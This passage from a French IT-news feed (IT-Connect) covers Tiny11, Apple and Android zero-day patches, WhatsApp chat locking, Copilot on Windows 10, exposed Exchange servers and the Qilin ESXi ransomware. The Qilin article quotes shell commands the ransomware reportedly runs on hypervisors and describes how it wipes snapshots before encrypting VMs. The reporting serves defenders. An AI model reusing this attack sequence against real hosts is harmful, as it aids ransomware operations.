<p>Au sein de Tiny11, la majorité des fonctionnalités natives présentes dans Windows 11 ont été désinstallées, tout en restant disponibles pour l'utilisateur. Puisque par défaut il n'y a pas grand-chose, c'est à nous d'installer les composants dont on a besoin. L'auteur de cette version précise : "Vous pouvez également profiter des nouvelles fonctionnalités de Windows 11 23H2 comme Copilot, mais seulement si vous le souhaitez ! Il suffit d'installer Edge à l'aide de Winget et voilà, vous avez Copilot sur tiny11 !". WinGet est un gestionnaire de paquets intégrés nativement à Windows 11, et qui permet l'installation d'applications en ligne de commande (dans le même esprit que Chocolatey).</p>



<p>La conception de l'image Tiny11 fait que le système d'exploitation est moins instinctif et moins complet qu'une version complète et officielle, mais ce travail mérite tout de même d'être mis en avant.</p>



<p>Préférez l'utilisation des images officielles de Microsoft autant que possible, et méfiez-vous des images personnalisées : elles sont susceptibles de contenir un ou plusieurs malwares. Même si l'image Tiny11 de NTDEV est saine, c'est loin d'être une généralité.</p>



<h2 class="wp-block-heading">Comment créer une image personnalisée de Windows 11 ?</h2>



<p>Il y a quelques mois, NTDEV, le développeur de Tiny11, a mis en ligne une vidéo sur YouTube qui explique<strong> comment créer sa propre image Windows 11 personnalisée et allégée</strong>, notamment avec le célèbre outil NTLite ! Ainsi, ceux qui voudraient se lancer le défi de créer leur propre image de Windows 11 personnalisée peuvent suivre cette vidéo :</p>



<iframe class="iframe_youtube" src="https://www.youtube.com/embed/eYIDQLavZ7U" title="How to build your own tiny11 (create lightweight Windows image)" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe>



<p>Non sans mal, certaines personnes sont parvenues à faire tourner Windows 11 sur une machine avec seulement 196 Go de RAM ! Bon, c'est surement plus pour le fun... </p>



<p><strong>Qu'en pensez-vous ?</strong></p><p>The post <a href="https://www.it-connect.fr/tiny11-une-version-de-windows-11-23h2-toujours-plus-legere/">Tiny11, une version de Windows 11 23H2 toujours plus légère !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=72981
title: Utilisateurs d’iPhone, iPad, Mac : protégez-vous de ces deux failles zero-day !
uri: Utilisateurs-d-iPhone-iPad-Mac-protégez-vous-de-ces-deux-faille
url: https://www.it-connect.fr/utilisateurs-diphone-ipad-mac-protegez-vous-de-ces-deux-failles-zero-day/
content:
<p><strong>Les utilisateurs d'iPhone, d'iPad et de Mac sont invités à passer par la case maintenance afin d'installer un nouveau correctif de sécurité permettant de corriger deux failles de sécurité zero-day ! Faisons le point sur cette menace.</strong></p>



<p>Les deux failles de sécurité zero-day corrigées par Apple sont déjà<strong> exploitées dans des attaques</strong> visant plusieurs types d'appareils de la firme de Cupertino : iPhone, iPad et Mac. Le <a href="https://support.apple.com/en-us/HT214031" target="_blank" rel="noopener nofollow" title="">bulletin de sécurité</a> d'Apple précise : "<em>Apple a pris connaissance d'un rapport selon lequel ce problème pourrait avoir été exploité avec des versions d'iOS antérieures à iOS 16.7.1.</em>" - Ceci est valable pour les deux vulnérabilités.</p>



<p>Associées aux références <strong>CVE-2023-42916</strong> et <strong>CVE-2023-42917</strong>, ces deux vulnérabilités se situent dans<strong> le moteur de rendu de pages Web "WebKit"</strong> utilisé par Apple sur ses différents systèmes d'exploitation. </p>



<p>La faille de sécurité <strong>CVE-2023-42916</strong>, de type "<strong><em>out-of-bounds</em>" peut amener à la divulgation d'informations sensibles </strong>simplement par le traitement du contenu d'une page Web. En ce qui concerne la faille de sécurité<strong> CVE-2023-42917</strong>, faisant référence à une corruption de la mémoire, elle pourrait permettre d'<strong>exécuter du code arbitraire sur l'appareil</strong>. Dans les deux cas, <strong>une page web malveillante</strong> visitée par l'utilisateur depuis son appareil vulnérable permettrait l'exploitation de la vulnérabilité.</p>



<p>Pour information, Clément Lecigne de Google Threat Analysis Group a fait la découverte de ces deux failles de sécurité.</p>



<h2 class="wp-block-heading">Comment se protéger ?</h2>



<p>Pour vous protéger, vous devez installer les versions suivantes des systèmes Apple :</p>



<ul>
<li><strong>iOS 17.1.2</strong> pour les iPhone</li>



<li><strong>iPadOS 17.1.2</strong> pour les iPad</li>



<li><strong>macOS Sonoma 14.1.2</strong> pour les Mac</li>



<li><strong>Safari 17.1.2 </strong>pour le navigateur</li>
</ul>



<p>Pour être plus précis, voici la liste des appareils impactés : </p>



<ul>
<li>iPhone XS et versions ultérieures</li>



<li>iPad Pro 12,9 pouces 2e génération et ultérieurs, iPad Pro 10,5 pouces, iPad Pro 11 pouces 1re génération et ultérieurs, iPad Air 3e génération et ultérieurs, iPad 6e génération et ultérieurs, et iPad mini 5e génération et ultérieurs</li>



<li>Mac sous macOS Monterey, macOS Ventura, macOS Sonoma</li>
</ul>



<p>Ce qui représente une quantité conséquente d'appareils vulnérables ! Avec ces deux nouvelles vulnérabilités de type "zero-day", <strong>ceci porte à 20 le nombre de failles "zero day" corrigées par Apple depuis le début de l'année 2023</strong>.</p>



<p><a href="https://www.bleepingcomputer.com/news/apple/apple-fixes-two-new-ios-zero-days-in-emergency-updates/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/utilisateurs-diphone-ipad-mac-protegez-vous-de-ces-deux-failles-zero-day/">Utilisateurs d’iPhone, iPad, Mac : protégez-vous de ces deux failles zero-day !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=70916
title: Comment cacher une discussion WhatsApp grâce à l’option de verrouillage ?
uri: Comment-cacher-une-discussion-WhatsApp-grâce-à-l-option-de-verroui
url: https://www.it-connect.fr/comment-cacher-discussion-whatsapp-option-verrouillage/
content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p><strong>Dans ce tutoriel, nous allons apprendre à verrouiller une conversation WhatsApp afin qu'elle soit protégée et cachée ! Pour accéder à une conversation verrouillée, il sera nécessaire de s'identifier à l'aide d'un code ou de son empreinte digitale sur les appareils équipés d'un lecteur biométrique.</strong></p>



<p>Cette fonction est pratique pour empêcher l'accès à certaines conversations, que ce soit une conversation avec un seul contact ou une conversation avec un groupe de contacts. Dans les deux cas, la procédure est la même !</p>



<h2 class="wp-block-heading">II. Verrouiller une conversation WhatsApp</h2>



<p>Tout d'abord, lancez WhatsApp et <strong>ouvrez la discussion à verrouiller</strong>.</p>



<p>Une fois que c'est fait, <strong>appuyez sur le nom du contact</strong> (ou le nom du groupe) en haut à gauche.</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img fetchpriority="high" decoding="async" width="500" height="343" src="media/e6bbf98c.WhatsApp-Verrouiller-une-discussion-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/WhatsApp-Verrouiller-une-discussion-1.jpg" alt="WhatsApp - Verrouiller une discussion - Etape 1" class="wp-image-70920" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/WhatsApp-Verrouiller-une-discussion-1.jpg 500w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/WhatsApp-Verrouiller-une-discussion-1-150x103.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/WhatsApp-Verrouiller-une-discussion-1-50x34.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/WhatsApp-Verrouiller-une-discussion-1-130x90.jpg 130w" sizes="(max-width: 500px) 100vw, 500px" /></figure></div>


<p>Les détails de vos échanges avec ce contact s'affichent. Descendez dans la page... Jusqu'à trouver "<strong>Verrouillage de la discussion</strong>" dans la liste. Appuyez sur cet élément de la liste.</p>


<div class="wp-block-image">
<figure class="aligncenter size-full is-resized"><img decoding="async" width="300" height="670" src="media/b0770faf.WhatsApp-Verrouiller-une-discussion-2.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/WhatsApp-Verrouiller-une-discussion-2.jpg" alt="WhatsApp - Verrouiller une discussion - Etape 2" class="wp-image-70919" style="aspect-ratio:0.44776119402985076;width:300px;height:auto" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/WhatsApp-Verrouiller-une-discussion-2.jpg 300w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/WhatsApp-Verrouiller-une-discussion-2-67x150.jpg 67w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/WhatsApp-Verrouiller-une-discussion-2-22x50.jpg 22w" sizes="(max-width: 300px) 100vw, 300px" /></figure></div>


<p>Il ne vous reste plus qu'à activer le bouton à côté de l'option "<strong>Verrouiller cette discussion avec une empreinte digitale</strong>". Vous serez invité à valider puis à scanner votre empreinte digitale pour valider votre identité.</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="300" height="670" src="media/e219edfe.WhatsApp-Verrouiller-une-discussion-3.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/WhatsApp-Verrouiller-une-discussion-3.jpg" alt="WhatsApp - Verrouiller une discussion - Etape 3" class="wp-image-70918" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/WhatsApp-Verrouiller-une-discussion-3.jpg 300w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/WhatsApp-Verrouiller-une-discussion-3-67x150.jpg 67w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/WhatsApp-Verrouiller-une-discussion-3-22x50.jpg 22w" sizes="(max-width: 300px) 100vw, 300px" /></figure></div>


<p><strong>Voilà, la discussion est verrouillée !</strong></p>



<blockquote class="wp-block-quote">
<p><strong>Remarque</strong> : pour déverrouiller la discussion il suffit de répéter l'opération à l'inverse.</p>
</blockquote>



<h2 class="wp-block-heading">III. Comment accéder à une discussion WhatsApp verrouillée ?</h2>



<p>Toutes les discussions verrouillées <strong>ne sont plus visibles dans la liste de vos discussions</strong> ! Comment faire ? C'est très simple ! Dans la liste des discussions, faites glisser l'interface de haut vers le bas pour remonter : ceci fera apparaître "<strong>Discussions verrouillées</strong>" tout en haut de la liste !</p>


<div class="wp-block-image">
<figure class="aligncenter size-full"><img decoding="async" width="500" height="438" src="media/226f499b.WhatsApp-Verrouiller-une-discussion-4.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/WhatsApp-Verrouiller-une-discussion-4.jpg" alt="WhatsApp - Verrouiller une discussion - 4" class="wp-image-70917" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/11/WhatsApp-Verrouiller-une-discussion-4.jpg 500w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/WhatsApp-Verrouiller-une-discussion-4-150x131.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/11/WhatsApp-Verrouiller-une-discussion-4-50x44.jpg 50w" sizes="(max-width: 500px) 100vw, 500px" /></figure></div>


<p>Il vous suffit d'appuyer sur ce bouton, de <strong>vérifier votre identité avec votre empreinte digitale</strong>, et vous verrez l'ensemble de vos conversations verrouillées. Si vous fermez l'application ou revenez en arrière, ces conversations seront verrouillées de nouveau.</p>



<p>Lorsque vous recevez un message d'un contact dont la conversation est protégée, la notification n'indiquera ni le nom du contact ni le contenu du message. À la place, vous verrez simplement s'afficher ceci : "<em>WhatsApp - 1 nouveau message</em>".</p>



<h2 class="wp-block-heading">IV. Conclusion</h2>



<p>Voilà, vous savez<strong> comment verrouiller une discussion WhatsApp </strong>! Simple et efficace : quelques secondes suffisent !</p><p>The post <a href="https://www.it-connect.fr/comment-cacher-discussion-whatsapp-option-verrouillage/">Comment cacher une discussion WhatsApp grâce à l’option de verrouillage ?</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73049
title: La mise à jour KB5032278 pour Windows 10 ajoute Microsoft Copilot !
uri: La-mise-à-jour-KB5032278-pour-Windows-10-ajoute-Microsoft-Copilot
url: https://www.it-connect.fr/la-mise-a-jour-kb5032278-pour-windows-10-ajoute-microsoft-copilot/
content:
<p><strong>Microsoft a mis en ligne une mise à jour optionnelle pour Windows 10 : la KB5032278. Au-delà de corriger 13 bugs, elle ajoute une nouvelle fonctionnalité importante dans Windows : Microsoft Copilot. Faisons le point.</strong></p>



<p>Comme tous les mois, Microsoft a mis en ligne une mise à jour optionnelle qui donne un aperçu des correctifs et changements à venir, en attendant le prochain Patch Tuesday. Celui de décembre 2023 étant attendu le mardi 12 décembre.</p>



<p>Deux semaines après avoir introduit <a href="https://www.it-connect.fr/cest-officiel-windows-10-va-accueillir-microsoft-copilot-ce-que-vous-devez-savoir/" target="_blank" rel="noopener" title="C’est officiel, Windows 10 va accueillir Microsoft Copilot : ce que vous devez savoir !">Microsoft Copilot pour les membres du programme Windows Insiders</a>, Microsoft veut aller plus loin, et l'entreprise américaine semble bien décidée à accélérer sur le sujet. Ainsi, la mise à jour optionnelle<strong> KB5032278 est disponible pour toutes les machines sous Windows 10</strong>. Grâce à elle, il est possible de bénéficier de l'<strong>assistant IA</strong> : Microsoft Copilot, dans sa <strong>version preview</strong>. </p>



<p>À ce sujet, la firme de Redmond précise : "<em>Aujourd'hui, nous commençons à déployer Copilot dans Windows (en preview) pour les appareils Windows 10 éligibles, non gérés, exécutant les éditions Famille ou Pro de Windows 10, version 22H2. Les appareils sur la version 22H2 de Windows 10 Entreprise ou Éducation, ou les appareils Pro gérés par des organisations, seront inclus dans une phase de déploiement ultérieure.</em>"</p>



<p>Toutefois, <strong>Copilot pour Windows 10 </strong>n'est pas disponible pour tout le monde ! <strong>Microsoft va effectuer un déploiement progressif</strong>, et de toute façon, en Europe nous n'avons pas encore accès à cet assistant IA (comme pour Windows 11). Sur le<a href="https://learn.microsoft.com/en-us/windows/release-health/windows-message-center#3181?WT.mc_id=AZ-MVP-5004580" target="_blank" rel="noopener nofollow" title=""> site officiel </a>de l'entreprise américaine, nous pouvons lire : "<em>Copilot sous Windows est actuellement disponible en avant-première sur certains marchés mondiaux. Nous avons l'intention d'ajouter d'autres marchés au fil du temps.</em>"</p>



<p>Si vous êtes dans une région où Copilot est disponible, sachez que vous devez activer l'option "<strong>Recevez les dernières mises à jour dès qu'elles sont disponibles</strong>" dans <strong>Windows Update</strong> pour bénéficier de cette mise à jour, et donc de Copilot.</p>



<p>Par ailleurs, pour en profiter, la machine doit avoir au moins 4 Go de RAM et l'écran doit être compatible avec une résolution HD (720p).</p>



<ul>
<li><a href="https://support.microsoft.com/fr-fr/topic/30-novembre-2023-kb5032278-build-du-syst%C3%A8me-d-exploitation-19045-3758-pr%C3%A9version-0ae14f06-577e-4eb3-8fcb-c722f3f9dc29" target="_blank" rel="noopener nofollow" title="">En savoir plus sur cette mise à jour</a></li>
</ul><p>The post <a href="https://www.it-connect.fr/la-mise-a-jour-kb5032278-pour-windows-10-ajoute-microsoft-copilot/">La mise à jour KB5032278 pour Windows 10 ajoute Microsoft Copilot !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73052
title: Près de 20 000 serveurs Microsoft Exchange vulnérables sont exposés à des cyberattaques !
uri: Près-de-20-000-serveurs-Microsoft-Exchange-vulnérables-sont-exposés
url:
https://www.it-connect.fr/pres-de-20-000-serveurs-microsoft-exchange-vulnerables-sont-exposes-a-des-cyberattaques/

content:
<p><strong>Malgré les risques et les nombreuses alertes, il y a encore près de 20 000 serveurs de messagerie exposés sur Internet et vulnérables à différentes failles de sécurité. Que ce soit en Europe, aux États-Unis, ou en Asie, les entreprises continuent de s'exposer.</strong></p>



<p>En date du 3 décembre 2023, il y aurait <strong>19 706 serveurs de messageries Exchange Server</strong> exposés sur Internet et vulnérables, d'après <a href="https://dashboard.shadowserver.org/statistics/combined/time-series/?date_range=7&amp;source=exchange&amp;source=exchange6&amp;tag=eol%2B&amp;style=stacked" target="_blank" rel="noopener nofollow" title="">ce graphique de The ShadowServer Foundation</a>. D'ailleurs, plus de la moitié de ces serveurs, à savoir<strong> 10 047 serveurs sont situés en Europe</strong> : certains de ces serveurs sont probablement situés en France. Pour obtenir cette information, The ShadowServer Foundation scanne les serveurs exposés sur Internet.</p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex">
<figure class="wp-block-image size-full"><a href="media/bd3b253c.The-ShadowServer-Foundation-Exchange-Server-Decembre-2023.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/The-ShadowServer-Foundation-Exchange-Server-Decembre-2023.jpg"><img fetchpriority="high" decoding="async" width="1200" height="412" data-id="73057" src="media/bd3b253c.The-ShadowServer-Foundation-Exchange-Server-Decembre-2023.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/The-ShadowServer-Foundation-Exchange-Server-Decembre-2023.jpg" alt="The ShadowServer Foundation - Exchange Server - Décembre 2023" class="wp-image-73057" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2023/12/The-ShadowServer-Foundation-Exchange-Server-Decembre-2023.jpg 1200w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/The-ShadowServer-Foundation-Exchange-Server-Decembre-2023-550x189.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/The-ShadowServer-Foundation-Exchange-Server-Decembre-2023-800x275.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/The-ShadowServer-Foundation-Exchange-Server-Decembre-2023-150x52.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/The-ShadowServer-Foundation-Exchange-Server-Decembre-2023-768x264.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2023/12/The-ShadowServer-Foundation-Exchange-Server-Decembre-2023-50x17.jpg 50w" sizes="(max-width: 1200px) 100vw, 1200px" /></a><figcaption class="wp-element-caption">Source : The ShadowServer Foundation</figcaption></figure>
</figure>



<p></p>



<p>Il s'agit de serveurs vulnérables, car <strong>ils ne sont pas protégés contre les failles de sécurité récentes</strong> et<strong> ils utilisent des versions d'Exchange Server obsolètes</strong>. Autrement dit, il s'agit de versions qui ne sont plus prises en charge par Microsoft : <strong>Exchange Server 2007, Exchange Server 2010, Exchange Server 2013.</strong> </p>



<p>En l'occurrence, les machines identifiées par le scan de The ShadowServer Foundation sont vulnérables aux failles de sécurité suivantes :</p>



<ul>
<li>CVE-2020-0688</li>



<li>CVE-2021-26855 - ProxyLogon</li>



<li>CVE-2021-27065 - Chaîne d'exploitation ProxyLogon</li>



<li>CVE-2022-41082 - Chaîne d'exploitation ProxyNotShell</li>



<li>CVE-2023-21529</li>



<li>CVE-2023-36745</li>



<li>CVE-2023-36439</li>
</ul>



<p><strong>On se souvient notamment des dégâts causés par ProxyLogon...</strong></p>



<p>Toutefois, la situation pourrait être encore plus grave d'après Yutaka Sejiyama, chercheur en sécurité chez Macnica. D'après l'analyse qu'il a effectuée à partir du <strong>moteur Shodan </strong>à la fin du mois de novembre 2023, il y avait <strong>30 635 serveurs Exchange vulnérables et exposés sur Internet</strong>. </p>



<ul>
<li><strong>275</strong> instances d'Exchange Server 2007</li>



<li><strong>4 062</strong> instances d'Exchange Server 2010</li>



<li><strong>26 298</strong> instances d'Exchange Server 2013</li>
</ul>



<p>Pour se protéger, la meilleure solution (mais pas forcément la plus simple), c'est de <strong>migrer vers une version plus récente de <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/windows-server/microsoft-exchange-server/" target="_blank" rel="noopener" title="Microsoft Exchange" data-wpil-keyword-link="linked">Microsoft Exchange</a></strong> ou de migrer vers une autre solution : <strong>Microsoft 365</strong>, par exemple. Toutefois, en attendant, sur les serveurs vulnérables, il me semble pertinent de <strong>déployer un outil tel que CrowdSec pour détecter et bloquer les potentielles attaques</strong>.</p>



<ul>
<li><a href="https://www.it-connect.fr/comment-proteger-un-serveur-microsoft-exchange-avec-crowdsec/" target="_blank" rel="noopener" title="Comment protéger un serveur Microsoft Exchange avec CrowdSec ?">Protéger son serveur Exchange avec CrowdSec</a></li>
</ul><p>The post <a href="https://www.it-connect.fr/pres-de-20-000-serveurs-microsoft-exchange-vulnerables-sont-exposes-a-des-cyberattaques/">Près de 20 000 serveurs Microsoft Exchange vulnérables sont exposés à des cyberattaques !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73130
uri: Sophistiqué-et-personnalisable-le-ransomware-Qilin-est-prêt-à-chi
title:
Sophistiqué et personnalisable, le ransomware Qilin est prêt à chiffrer les VM des serveurs VMware ESXi

url:
https://www.it-connect.fr/sophistique-et-personnalisable-le-ransomware-qilin-est-pret-a-chiffrer-les-vm-des-serveurs-vmware-esxi/

content:
<p><strong>Un nouvel échantillon du ransomware Qilin a été repéré ! Il étonne, car il utilise des techniques avancées sur les serveurs VMware ESXi et il propose de nombreuses options permettant de personnaliser le processus de chiffrement des machines virtuelles. Faisons le point sur cette menace.</strong></p>



<p>De nos jours, la majorité des gangs de ransomware ont un logiciel malveillant capable de chiffrer les machines virtuelles des hyperviseurs, notamment ceux des serveurs VMware ESXi, très populaire en entreprise. Le ransomware Qilin qui fait l'objet de cet article en fait partie.</p>



<p>Le chercheur en sécurité MalwareHunterTeam a identifié un<strong> nouveau module de chiffrement pour <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/linux/" target="_blank" rel="noopener" title="Linux" data-wpil-keyword-link="linked">Linux</a></strong>, au format <strong>ELF64</strong>, capable de chiffrer les systèmes Linux, FreeBSD et VMware ESXi. Ce n'est pas étonnant puisque le système VMware ESXi est basé sur Linux. D'ailleurs, l'échantillon analysé par les chercheurs en sécurité montre clairement que cette version de Qilin a une obsession principale :<strong> chiffrer les machines virtuelles et détruire les snapshots</strong>.</p>



<p>Ce qui a étonné le chercheur en sécurité, c'est la quantité d'options disponibles pour permettre à l'attaquant de<strong> personnaliser l'opération de chiffrement. </strong>En effet, bien que le ransomware Qilin intègre<strong> une configuration par défaut </strong>pour déterminer l'extension des fichiers chiffrés, les processus à terminer, les fichiers et les dossiers à inclure ou à exclure, <strong>il prend en charge de nombreux arguments en ligne de commande</strong>. Ainsi, grâce à ces arguments, le cybercriminel peut ajuster la valeur des options de Qilin et modifier son comportement.</p>



<p>Parmi ces options, il y a celles pour <strong>personnaliser le chiffrement des VM et des snapshots</strong>, mais également <strong>un mode débogage</strong> ainsi qu'<strong>un mode "simulation" </strong>pour tester l'opération de chiffrement sans altérer les fichiers.</p>



<p>D'après le site BleepingComputer, le ransomware Qilin cherche à chiffrer les données contenues dans de nombreux dossiers dont "/var/lib/vmware", "/var/vm", mais également des dossiers à d'autres applications Linux : /var/lib/libvirt, /var/lib/redis, /var/lib/elasticsearch, /var/opt/xen, etc. En fait,<strong> le ransomware s'adapte en fonction de l'environnement détecté.</strong></p>



<p>Il exécute également un ensemble de commandes spécifiques, que voici :</p>



<pre class="wp-block-code"><code>for I in $(esxcli storage filesystem list |grep 'VMFS-5' |awk '{print $1}'); do vmkfstools -c 10M -d eagerzeroedthick $I/eztDisk > /dev/null; vmkfstools -U $I/eztDisk > /dev/null; done
for I in $(esxcli storage filesystem list |grep 'VMFS-5' |awk '{print $1}'); do vmkfstools -c 10M -d eagerzeroedthick $I/eztDisk; vmkfstools -U $I/eztDisk; done
for I in $(esxcli storage filesystem list |grep 'VMFS-6' |awk '{print $1}'); do vmkfstools -c 10M -d eagerzeroedthick $I/eztDisk > /dev/null; vmkfstools -U $I/eztDisk > /dev/null; done
for I in $(esxcli storage filesystem list |grep 'VMFS-6' |awk '{print $1}'); do vmkfstools -c 10M -d eagerzeroedthick $I/eztDisk; vmkfstools -U $I/eztDisk; done
esxcfg-advcfg -s 32768 /BufferCache/MaxCapacity
esxcfg-advcfg -s 20000 /BufferCache/FlushInterval</code></pre>



<p>Ces instructions seraient issues du site de support de VMware ESXi et elles permettraient d'<strong>améliorer les performances lorsque des commandes sont exécutées depuis l'hyperviseur en lui-même</strong>.</p>



<p>Avant de procéder au chiffrement des données,<strong> le ransomware Qilin stoppe toutes les machines virtuelles puis il supprime l'ensemble de snapshots grâce à une série de commandes</strong>.<em> In fine</em>, tous les fichiers ciblés sont chiffrés et héritent de l'extension configurée dans les paramètres de Qilin. Dans chaque dossier, une note de rançon est déposée.</p>



<p>Il est clair que cette version du ransomware Qilin est sophistiquée et personnalisable en comparaison de ce que l'on peut avoir l'habitude de voir !</p>



<p><a href="https://www.bleepingcomputer.com/news/security/linux-version-of-qilin-ransomware-focuses-on-vmware-esxi/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/sophistique-et-personnalisable-le-ransomware-qilin-est-pret-a-chiffrer-les-vm-des-serveurs-vmware-esxi/">Sophistiqué et personnalisable, le ransomware Qilin est prêt à chiffrer les VM des serveurs VMware ESXi</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73136
title: Android – Le patch de sécurité de décembre 2023 corrige une faille critique zero-click !
uri: Android-Le-patch-de-sécurité-de-décembre-2023-corrige-une-faill
url:
https://www.it-connect.fr/android-le-patch-de-securite-de-decembre-2023-corrige-une-faille-critique-zero-click/

content:
<p><strong>Google a dévoilé le contenu du nouveau patch de sécurité de décembre 2023 pour Android ! Il corrige 85 vulnérabilités, dont une faille de sécurité critique zero-click permettant une exécution de code à distance. Voici ce qu'il faut savoir sur cette menace potentielle.</strong></p>



<p>Associée à la référence <strong>CVE-2023-40088</strong>, cette faille de sécurité se situe dans un composant du système Android et elle peut être exploitée sans privilèges spécifiques. En l'exploitant, les cybercriminels pourraient<strong> exécuter du code arbitraire sur l'appareil de l'utilisateur sans aucune interaction de sa part</strong>.</p>



<p>Dans le <a href="https://source.android.com/docs/security/bulletin/2023-12-01?hl=fr" target="_blank" rel="noopener nofollow" title="">bulletin de sécurité</a> mis en ligne par Google, nous pouvons lire : "<em>Le plus grave de ces problèmes est une vulnérabilité de sécurité critique dans le composant Système qui pourrait conduire à l'exécution de code à distance sans privilèges d'exécution supplémentaires nécessaires. L’interaction de l’utilisateur n’est pas nécessaire pour l’exploitation.</em>", il s'agit clairement d'<strong>une vulnérabilité zero-click</strong>. Pour le moment, Google n'a pas précisé si cette vulnérabilité a déjà été exploitée par les cybercriminels.</p>



<p>Les versions suivantes d'Android sont affectées : Android 11, Android 12, Android 12L, Android 13 et Android 14.</p>



<h2 class="wp-block-heading">D'autres vulnérabilités critiques corrigées !</h2>



<p>Au-delà de la faille de sécurité CVE-2023-40088 qui est la plus dangereuse de cet ensemble de 85 vulnérabilités, il faut savoir que Google a corrigé 3 autres vulnérabilités critiques : CVE-2023-40077, CVE-2023-40076 et CVE-2023-45866. Deux d'entre elles permettent une élévation de privilèges, tandis que la troisième peut être exploitée pour divulguer des informations. À noter également un correctif pour la faille de sécurité CVE-2022-40507 présente dans un composant Qualcomm.</p>



<p>Le déploiement des patchs de sécurité sur les smartphones Android est un vrai problème donc certains smartphones devraient rester vulnérables, tandis que d'autres recevront ce correctif dans plusieurs semaines ou plusieurs mois... Il y a quand même de bons élèves, comme Samsung. Par ailleurs, les utilisateurs de smartphones Google (la gamme Pixel) ont également la chance de profiter des correctifs de sécurité très rapidement.</p>



<p><a href="https://www.bleepingcomputer.com/news/security/december-android-updates-fix-critical-zero-click-rce-flaw/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/android-le-patch-de-securite-de-decembre-2023-corrige-une-faille-critique-zero-click/">Android – Le patch de sécurité de décembre 2023 corrige une faille critique zero-click !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=73141
title: Le point sur les nouveautés de PowerToys 0.76 pour Windows
uri: Le-point-sur-les-nouveautés-de-PowerToys-0-76-pour-Windows
url: https://www.it-connect.fr/le-point-sur-les-nouveautes-de-powertoys-0-76/
content:
<p><strong>PowerToys 0.76 est disponible dès à présent pour les utilisateurs de Windows ! L'occasion de faire le point sur les changements apportés par Microsoft dans cette nouvelle mouture !</strong></p>



<p>Tout d'abord, PowerToys 0.76 bénéficie d'une mise à niveau vers .NET 8.0. Ensuite, cette nouvelle version ajoute <strong>la prévisualisation des images au format QOI</strong> dans l'Explorateur de fichiers de Windows. Pour en savoir plus sur le format d'image "<em>QOI</em>" pour "<em>Quite OK Image</em>", vous pouvez consulter <a href="https://fr.wikipedia.org/wiki/QOI_(format_d%27image)" target="_blank" rel="noopener nofollow" title="">cette page sur Wikipédia</a>.</p>



<p>Par ailleurs, certains outils bénéficient d'<strong>un léger relooking</strong>, notamment PowerToys Run, Accent rapide (Quick Accent) et Extracteur de texte. L'objectif étant de se rapprocher du design de Windows 11, notamment le fameux <em>Fluent Design</em>. </p>



<figure class="wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex">
